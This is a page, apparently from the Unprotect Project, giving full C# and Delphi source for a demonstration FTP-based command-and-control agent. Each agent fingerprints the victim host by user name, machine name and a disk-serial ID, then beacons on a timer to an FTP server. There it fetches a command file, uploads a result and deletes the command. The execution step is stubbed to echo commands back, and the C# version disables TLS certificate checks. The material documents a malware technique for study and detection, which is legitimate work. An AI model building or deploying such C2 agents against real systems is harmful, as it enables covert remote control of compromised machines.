Description
his code snippet is written in C# (.NET Core) and facilitates request/response interactions via FTP, supporting both standard FTP and secure FTP (FTPS).
The WebRequest / FtpWebRequest classes are employed for executing FTP requests.
/*
* =========================================================================================
* www.unprotect.it (Unprotect Project)
* Author: Jean-Pierre LESUEUR (@DarkCoderSc)
* =========================================================================================
*/
/*
* Quick Start with Docker:
*
* > `docker pull stilliard/pure-ftpd`
*
* Unsecure FTP Server:
* > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd`
*
* "Secure" FTP Server (TLS):
* > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x --tls=2" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e "TLS_CN=localhost" -e "TLS_ORG=gogopando" -e "TLS_C=FR" stilliard/pure-ftpd`
*
*
* /!\ DO NOT EXPOSE THE FTP SERVER TO LAN / WAN /!\
*/
using System.Net;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using System.Text;
class Program
{
public static Guid AgentSession = Guid.NewGuid();
// EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
public static readonly string FtpHost = "127.0.0.1";
public static readonly string FtpUser = "dark";
public static readonly string FtpPwd = "toor";
public static readonly bool FtpSecure = false;
public static readonly int BeaconDelayMin = 500;
public static readonly int BeaconDelayMax = 1000;
// EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool GetVolumeInformation(
string lpRootPathName,
StringBuilder lpVolumeNameBuffer,
int nVolumeNameSize,
out uint lpVolumeSerialNumber,
out uint lpMaximumComponentLength,
out uint lpFileSystemFlags,
StringBuilder lpFileSystemNameBuffer,
int nFileSystemNameSize
);
public static CancellationTokenSource CancellationTokenSource = new();
/// <summary>
/// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol.
/// This is accomplished through abstraction and simplification of the built-in WebRequest class,
/// providing users with a more intuitive and manageable interface for FTP operations.
///
/// Supported operations:
/// * Session Actions
/// * Stream Upload (Generic)
/// * String Upload
/// * Stream Download (Generic)
/// * String Download
/// * Create Directory
/// * Delete File
/// * Enumerate Directory Files
/// </summary>
public class FtpHelper
{
public string Host;
public string Username;
private string Password;
private bool Secure;
public FtpHelper(string host, string username, string password, bool secure)
{
this.Host = host;
this.Username = username;
this.Password = password;
this.Secure = secure;
}
private FtpWebRequest NewRequest(string? uri)
{
// Microsoft no longer recommends using "WebRequest" for FTP operations and advises opting for third-party components
// specialized in this domain. However, for the sake of this demonstration, the built-in function was deemed convenient.
#pragma warning disable SYSLIB0014
FtpWebRequest request = (FtpWebRequest)WebRequest.Create($"ftp://{this.Host}/{uri ?? ""}");
#pragma warning restore SYSLIB0014
request.Credentials = new NetworkCredential(this.Username, this.Password);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = true;
request.EnableSsl = this.Secure;
return request;
}
public void UploadData(Stream data, string destFilePath)
{
FtpWebRequest request = this.NewRequest(destFilePath);
request.Method = WebRequestMethods.Ftp.UploadFile;
using Stream requestStream = request.GetRequestStream();
data.CopyTo(requestStream);
}
public void UploadString(string content, string destFilePath)
{
byte[] bytes = Encoding.UTF8.GetBytes(content);
using MemoryStream stream = new(bytes);
UploadData(stream, destFilePath);
}
public Stream DownloadData(string remoteFilePath)
{
FtpWebRequest request = this.NewRequest(remoteFilePath);
request.Method = WebRequestMethods.Ftp.DownloadFile;
FtpWebResponse response = (FtpWebResponse)request.GetResponse();
Stream stream = response.GetResponseStream();
return stream;
}
public string DownloadString(string remoteFilePath)
{
using Stream stream = DownloadData(remoteFilePath);
using StreamReader reader = new StreamReader(stream);
return reader.ReadToEnd();
}
private void ExecuteFTPCommand(string remoteDirectoryPath, string command)
{
FtpWebRequest request = this.NewRequest(remoteDirectoryPath);
request.Method = command;
using FtpWebResponse resp = (FtpWebResponse)request.GetResponse();
}
public void CreateDirectory(string remoteDirectoryPath)
{
ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory);
}
public void DeleteFile(string remoteDirectoryPath)
{
ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile);
}
}
/// <summary>
/// This function generates a unique machine ID by hashing the primary Windows hard drive's serial number and converting it into
/// a pseudo-GUID format.
/// It is specifically designed for Microsoft Windows operating systems. However, you are encouraged to adapt this algorithm for
/// other operating systems and/or employ different strategies to derive a unique machine ID
/// (e.g., using the MAC Address, CPU information, or saving a one-time generated GUID in the Windows registry or a file).
/// </summary>
/// <returns>A unique machine ID in GUID format.</returns>
[SupportedOSPlatform("windows")]
public static Guid GetMachineId()
{
string candidate = "";
string mainDrive = Environment.GetFolderPath(Environment.SpecialFolder.System)[..3];
const int MAX_PATH = 260;
StringBuilder lpVolumeNameBuffer = new(MAX_PATH + 1);
StringBuilder lpFileSystemNameBuffer = new(MAX_PATH + 1);
bool success = GetVolumeInformation(
mainDrive,
lpVolumeNameBuffer,
lpVolumeNameBuffer.Capacity,
out uint serialNumber,
out uint _,
out uint _,
lpFileSystemNameBuffer,
lpFileSystemNameBuffer.Capacity
);
if (success)
candidate += serialNumber.ToString();
using MD5 md5 = MD5.Create();
byte[] hash = md5.ComputeHash(Encoding.ASCII.GetBytes(candidate));
return new Guid(Convert.ToHexString(hash));
}
public static void Main(string[] args)
{
// Important Notice: The delegate below renders the current application susceptible to
// Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features.
// This configuration was implemented to accommodate self-signed certificates.
// However, it is strongly advised not to employ this approach in a production environment
// if SSL/TLS security is expected.
if (FtpSecure)
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
///
// Adapt "GetMachineId" for cross-platform support.
AgentSession = GetMachineId();
List<Thread> daemons = new List<Thread>();
///
// This thread is tasked with handling C2 commands and dispatching responses. Note that this sample utilizes a
// single-threaded approach, but it's possible to distribute the operations across multiple threads to enhance
// performance.
daemons.Add(new Thread((object? obj) =>
{
if (obj == null)
return;
FtpHelper ftp = new(FtpHost, FtpUser, FtpPwd, FtpSecure);
string contextPath = $"{AgentSession.ToString()}/{Environment.UserName}@{Environment.MachineName}";
string commandFile = $"{contextPath}/__command__";
CancellationToken cancellationToken = (CancellationToken)obj;
while (!cancellationToken.IsCancellationRequested)
{
string? command = null;
try
{
// Retrieve dedicated command
try
{
command = ftp.DownloadString(commandFile);
}
catch { };
// Create remote directory tree
try
{
ftp.CreateDirectory(AgentSession.ToString());
ftp.CreateDirectory(contextPath);
}
catch { };
// Echo-back command result
if (!String.IsNullOrEmpty(command))
{
// ... PROCESS ACTION / COMMAND HERE ... //
// ...
string commandResult = $"This is just a demo, so I echo-back the command: `{command}`.";
// ...
// ... PROCESS ACTION / COMMAND HERE ... //
string resultFile = $"{contextPath}/result.{DateTime.Now.ToString("yyyy-MM-dd-HH-mm-ss")}";
ftp.UploadString(commandResult, resultFile);
// Delete the command file when processed
try
{
ftp.DeleteFile(commandFile);
}
catch { }
}
///
Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax));
}
catch (Exception ex) {
Console.WriteLine(ex.Message);
};
}
}));
// The action to handle a CTRL+C signal on the console has been registered.
// When triggered, it will instruct any associated cancellation tokens to properly
// shut down their associated daemons.
Console.CancelKeyPress += (sender, cancelEventArgs) =>
{
CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed.
cancelEventArgs.Cancel = true; // Cancel default behaviour
};
// Start daemons
foreach (Thread daemon in daemons)
daemon.Start(CancellationTokenSource.Token);
// Keep process running until CTRL+C.
CancellationToken token = CancellationTokenSource.Token;
while (!token.IsCancellationRequested)
Thread.Sleep(1000);
// Wait for daemons to join main thread
foreach (Thread daemon in daemons)
daemon.Join();
}
}
Description
This code snippet utilizes the Windows API, specifically the Wininet library, to execute FTP operations.
(*
* =========================================================================================
* www.unprotect.it (Unprotect Project)
* Author: Jean-Pierre LESUEUR (@DarkCoderSc)
* =========================================================================================
*)
// WinApi Documentation
// https://learn.microsoft.com/en-us/windows/win32/wininet/ftp-sessions?FWT_mc_id=DSEC-MVP-5005282
program FtpC2;
{$APPTYPE CONSOLE}
uses Winapi.Windows,
Winapi.WinInet,
System.Classes,
System.SysUtils,
System.IOUtils,
System.hash;
type
EFtpException = class(Exception);
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
TDaemon = class(TThread)
private
FAgentSession : TGUID;
FFtpHost : String;
FFtpPort : Word;
FFtpUser : String;
FFtpPassword : String;
protected
procedure Execute(); override;
public
{@C}
constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT); overload;
end;
TFtpHelper = class
private
FInternetHandle : HINTERNET;
FFtpHandle : HINTERNET;
FFtpHost : String;
FFtpPort : Word;
FFtpUser : String;
FFtpPassword : String;
{@M}
function IsConnected() : Boolean;
procedure CheckConnected();
public
{@M}
procedure Connect();
procedure Disconnect();
procedure Browse(const ADirectory : String);
procedure UploadStream(var AStream : TMemoryStream; const AFileName : String);
function DownloadStream(const AFileName : String) : TMemoryStream;
procedure UploadString(const AContent, AFileName : String);
function DownloadString(const AFileName : String) : String;
function GetCurrentDirectory() : String;
procedure SetCurrentDirectory(const APath : String);
function DirectoryExists(const ADirectory : String) : Boolean;
procedure CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);
procedure CreateOrBrowseDirectory(const ADirectoryName : String);
procedure DeleteFile(const AFileName : String);
{@C}
constructor Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP'); overload;
constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String) overload;
destructor Destroy(); override;
{@G}
property Connected : Boolean read IsConnected;
end;
(* EWindowsException *)
{ EWindowsException.Create }
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
FLastError := GetLastError();
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
WinAPI,
FLastError,
SysErrorMessage(FLastError)
]);
// [+] ERROR_INTERNET_EXTENDED_ERROR
///
inherited Create(AFormatedMessage);
end;
(* TFtpHelper *)
{ TFtpHelper.Create }
constructor TFtpHelper.Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP');
begin
inherited Create();
///
FFtpHost := AFtpHost;
FFtpPort := AFtpPort;
FFtpUser := AFtpUser;
FFtpPassword := AFtpPassword;
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenw?FWT_mc_id=DSEC-MVP-5005282
FInternetHandle := InternetOpenW(PWideChar(AAgent), INTERNET_OPEN_TYPE_DIRECT, nil, nil, 0);
if not Assigned(FInternetHandle) then
raise EWindowsException.Create('InternetOpenW');
end;
{ TFtpHelper.Create }
constructor TFtpHelper.Create(const AFtpHost, AFtpUser, AFtpPassword : String);
begin
Create(AFtpHost, INTERNET_DEFAULT_FTP_PORT, AFtpuser, AFtpPassword);
end;
{ TFtpHelper.Destroy }
destructor TFtpHelper.Destroy();
begin
self.Disconnect();
///
if Assigned(FInternetHandle) then
InternetCloseHandle(FInternetHandle);
///
inherited Destroy();
end;
{ TFtpHelper.Connect }
procedure TFtpHelper.Connect();
begin
if IsConnected() then
self.Disconnect();
///
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetconnectw?FWT_mc_id=DSEC-MVP-5005282
FFtpHandle := InternetConnectW(
FInternetHandle,
PWideChar(FFtpHost),
FFtpPort,
PWideChar(FFtpUser),
PWideChar(FFtpPassword),
INTERNET_SERVICE_FTP,
INTERNET_FLAG_PASSIVE,
0
);
if not Assigned(FFtpHandle) then
raise EWindowsException.Create('InternetConnectW');
end;
{ TFtpHelper.Browse }
procedure TFtpHelper.Browse(const ADirectory: string);
begin
CheckConnected();
///
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpsetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(ADirectory)) then
raise EWindowsException.Create('FtpSetCurrentDirectoryW');
end;
{ TFtpHelper.UploadStream }
procedure TFtpHelper.UploadStream(var AStream : TMemoryStream; const AFileName : String);
var hFtpFile : HINTERNET;
ABytesRead : Cardinal;
ABuffer : array[0..8192 -1] of byte;
ABytesWritten : Cardinal;
AOldPosition : Cardinal;
begin
CheckConnected();
///
if not Assigned(AStream) then
Exit();
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpopenfilew?FWT_mc_id=DSEC-MVP-5005282
hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);
if not Assigned(hFtpFile) then
raise EWindowsException.Create('FtpOpenFileW');
try
if AStream.Size = 0 then
Exit();
///
AOldPosition := AStream.Position;
AStream.Position := 0;
repeat
ABytesRead := AStream.Read(ABuffer, SizeOf(ABuffer));
if ABytesRead = 0 then
break;
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetwritefile?FWT_mc_id=DSEC-MVP-5005282
if not InternetWriteFile(hFtpFile, @ABuffer, ABytesRead, ABytesWritten) then
raise EWindowsException.Create('InternetWriteFile');
until (ABytesRead = 0);
///
AStream.Position := AOldPosition;
finally
InternetCloseHandle(hFtpFile);
end;
end;
{ TFtpHelper.DownloadStream }
function TFtpHelper.DownloadStream(const AFileName : String) : TMemoryStream;
var hFtpFile : HINTERNET;
ABuffer : array[0..8192 -1] of byte;
ABytesRead : Cardinal;
begin
result := nil;
///
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetreadfile?FWT_mc_id=DSEC-MVP-5005282
hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);
if not Assigned(hFtpFile) then
raise EWindowsException.Create('FtpOpenFileW');
try
result := TMemoryStream.Create();
///
while true do begin
if not InternetReadFile(hFtpFile, @ABuffer, SizeOf(ABuffer), ABytesRead) then
break;
if ABytesRead = 0 then
break;
result.Write(ABuffer, ABytesRead);
if ABytesRead <> SizeOf(ABuffer) then
break;
end;
///
result.Position := 0;
finally
InternetCloseHandle(hFtpFile);
end;
end;
{ TFtpHelper.UploadString }
procedure TFtpHelper.UploadString(const AContent, AFileName : String);
var AStream : TMemoryStream;
AStreamWriter : TStreamWriter;
begin
AStreamWriter := nil;
///
AStream := TMemoryStream.Create();
try
AStreamWriter := TStreamWriter.Create(AStream, TEncoding.UTF8);
///
AStreamWriter.Write(AContent);
///
self.UploadStream(AStream, AFileName);
finally
if Assigned(AStreamWriter) then
FreeAndNil(AStreamWriter)
else if Assigned(AStream) then
FreeAndNil(AStreamWriter);
end;
end;
{ TFtpHelper.DownloadString }
function TFtpHelper.DownloadString(const AFileName : String) : String;
var AStream : TMemoryStream;
AStreamReader : TStreamReader;
begin
result := '';
///
AStreamReader := nil;
///
AStream := self.DownloadStream(AFileName);
if not Assigned(AStream) then
Exit();
try
AStreamReader := TStreamReader.Create(AStream, TEncoding.UTF8);
///
result := AStreamReader.ReadToEnd();
finally
if Assigned(AStreamReader) then
FreeAndNil(AStreamReader)
else if Assigned(AStream) then
FreeAndNil(AStream);
end;
end;
{ TFtpHelper.GetCurrentDirectory }
function TFtpHelper.GetCurrentDirectory() : String;
var ALength : DWORD;
begin
CheckConnected();
///
result := '';
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
if not FtpGetCurrentDirectoryW(FFtpHandle, nil, ALength) then
if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then
raise EWindowsException.Create('FtpGetCurrentDirectory(__call:1)');
SetLength(result, ALength div SizeOf(WideChar));
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
if not FtpGetCurrentDirectoryW(FFtpHandle, PWideChar(result), ALength) then
raise EWindowsException.Create('FtpGetCurrentDirectory(__call:2)');
end;
{ TFtpHelper.SetCurrentDirectory }
procedure TFtpHelper.SetCurrentDirectory(const APath : String);
begin
CheckConnected();
///
if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(APath)) then
raise EWindowsException.Create('FtpSetCurrentDirectoryW');
end;
{ TFtpHelper.DirectoryExists }
function TFtpHelper.DirectoryExists(const ADirectory : String) : Boolean;
var AOldDirectory : String;
begin
CheckConnected();
///
result := False;
AOldDirectory := self.GetCurrentDirectory();
try
SetCurrentDirectory(ADirectory);
try
result := True;
finally
SetCurrentDirectory(AOldDirectory);
end;
except
//on E : Exception do
// writeln(e.Message);
// [+] Check with "ERROR_INTERNET_EXTENDED_ERROR" status
end;
end;
{ TFtpHelper.CreateDirectory }
procedure TFtpHelper.CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);
begin
CheckConnected();
///
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpcreatedirectoryw?FWT_mc_id=DSEC-MVP-5005282
if not FtpCreateDirectoryW(FFtpHandle, PWideChar(ADirectoryName)) then
raise EWindowsException.Create('FtpCreateDirectory');
if ADoBrowse then
self.Browse(ADirectoryName);
end;
{ TFtpHelper.CreateOrBrowseDirectory }
procedure TFtpHelper.CreateOrBrowseDirectory(const ADirectoryName : String);
begin
if self.DirectoryExists(ADirectoryName) then
self.Browse(ADirectoryName)
else
self.CreateDirectory(ADirectoryName, True);
end;
{ TFtpHelper.DeleteFile }
procedure TFtpHelper.DeleteFile(const AFileName : String);
begin
CheckConnected();
///
// https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpdeletefilew?FWT_mc_id=DSEC-MVP-5005282
if not FtpDeleteFileW(FFtpHandle, PWideChar(AFileName)) then
raise EWindowsException.Create('FtpDeleteFileW');
end;
{ TFtpHelper.CheckConnected }
procedure TFtpHelper.CheckConnected();
begin
if not IsConnected() then
raise EFtpException.Create('Not connected to FTP Server.');
end;
{ TFtpHelper.Disconnect }
procedure TFtpHelper.Disconnect();
begin
if Assigned(FFtpHandle) then
InternetCloseHandle(FFtpHandle);
end;
{ TFtpHelper.IsConnected }
function TFtpHelper.IsConnected() : Boolean;
begin
result := Assigned(FFtpHandle);
end;
(* TDaemon *)
{ TDaemon.Create }
constructor TDaemon.Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT);
function GetMachineId() : TGUID;
var ARoot : String;
AVolumeNameBuffer : String;
AFileSystemNameBuffer : String;
ADummy : Cardinal;
ASerialNumber : DWORD;
AHash : TBytes;
begin
ARoot := TPath.GetPathRoot(TPath.GetHomePath());
///
SetLength(AVolumeNameBuffer, MAX_PATH +1);
SetLength(AFileSystemNameBuffer, MAX_PATH +1);
try
// https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationw?FWT_mc_id=DSEC-MVP-5005282
if not GetVolumeInformationW(
PWideChar(ARoot),
PWideChar(AVolumeNameBuffer),
Length(AVolumeNameBuffer),
@ASerialNumber,
ADummy,
ADummy,
PWideChar(AFileSystemNameBuffer),
Length(AFileSystemNameBuffer)
) then
Exit(TGUID.Empty);
///
// Tiny but efficient trick to generate a fake GUID from a MD5 (32bit Hex Long)
AHash := THashMD5.GetHashBytes(IntToStr(ASerialNumber));
result := TGUID.Create(Format('{%.8x-%.4x-%.4x-%.4x-%.4x%.8x}', [
PLongWord(@AHash[0])^,
PWord(@AHash[4])^,
PWord(@AHash[6])^,
PWord(@AHash[8])^,
PWord(@AHash[10])^,
PLongWord(@AHash[12])^
]));
finally
SetLength(AVolumeNameBuffer, 0);
SetLength(AFileSystemNameBuffer, 0);
end;
end;
begin
inherited Create(False);
///
FFtpHost := AFtpHost;
FFtpPort := AFtpPort;
FFtpUser := AFtpUser;
FFtpPassword := AFtpPassword;
///
FAgentSession := GetMachineId();
end;
{ TDaemon.Execute }
procedure TDaemon.Execute();
var AFtp : TFtpHelper;
ACommand : String;
AContextPath : String;
AUserDomain : String;
ACommandResult : String;
const STR_COMMAND_PLACEHOLDER = '__command__';
type
TWindowsInformationKind = (
wikUserName,
wikComputerName
);
{ _.GetWindowsInformation }
function GetWindowsInformation(const AKind : TWindowsInformationKind = wikUserName) : String;
var ALength : cardinal;
begin
ALength := MAX_PATH + 1;
SetLength(result, ALength);
case AKind of
wikUserName:
// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea?FWT_mc_id=DSEC-MVP-5005282
if not GetUserNameW(PWideChar(result), ALength) then
raise EWindowsException.Create('GetUserNameW');
wikComputerName:
// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamew?FWT_mc_id=DSEC-MVP-5005282
if not GetComputerNameW(PWideChar(result), ALength) then
raise EWindowsException.Create('GetComputerNameW');
end;
///
SetLength(result, ALength);
result := Trim(result);
end;
begin
AFtp := TFtpHelper.Create(FFtpHost, FFtpPort, FFtpUser, FFtpPassword);
try
AUserDomain := Format('%s@%s', [
GetWindowsInformation(),
GetWindowsInformation(wikComputerName)]
);
AContextPath := Format('%s/%s', [
FAgentSession.ToString(),
AUserDomain
]);
///
while not Terminated do begin
ACommand := '';
try
AFtp.Connect();
try
// Create remote directory tree
try
AFtp.CreateOrBrowseDirectory(FAgentSession.ToString());
AFtp.CreateOrBrowseDirectory(AUserDomain);
except end;
// Retrieve dedicated command
try
ACommand := AFtp.DownloadString(STR_COMMAND_PLACEHOLDER);
except end;
// Echo-back command result
if not String.IsNullOrEmpty(ACommand) then begin
// ... PROCESS ACTION / COMMAND HERE ... //
// ...
ACommandResult := Format('This is just a demo, so I echo-back the command: "%s".', [ACommand]);
AFtp.UploadString(ACommandResult, Format('result.%s', [
FormatDateTime('yyyy-mm-dd-hh-nn-ss', Now)])
);
// Delete the command file when processed
try
AFtp.DeleteFile(STR_COMMAND_PLACEHOLDER);
except end;
end;
finally
AFtp.Disconnect(); // We are in beacon mode
end;
except
on E : Exception do
WriteLn(Format('Exception: %s', [E.Message]));
end;
///
Sleep(1000);
end;
finally
if Assigned(AFtp) then
FreeAndNil(AFtp);
///
ExitThread(0); //!important
end;
end;
(* Code *)
procedure main();
var ADaemon : TDaemon;
begin
ADaemon := TDaemon.Create('ftp.localhost', 'dark', 'toor');
readln;
end;
(* EntryPoint *)
begin
main();
end.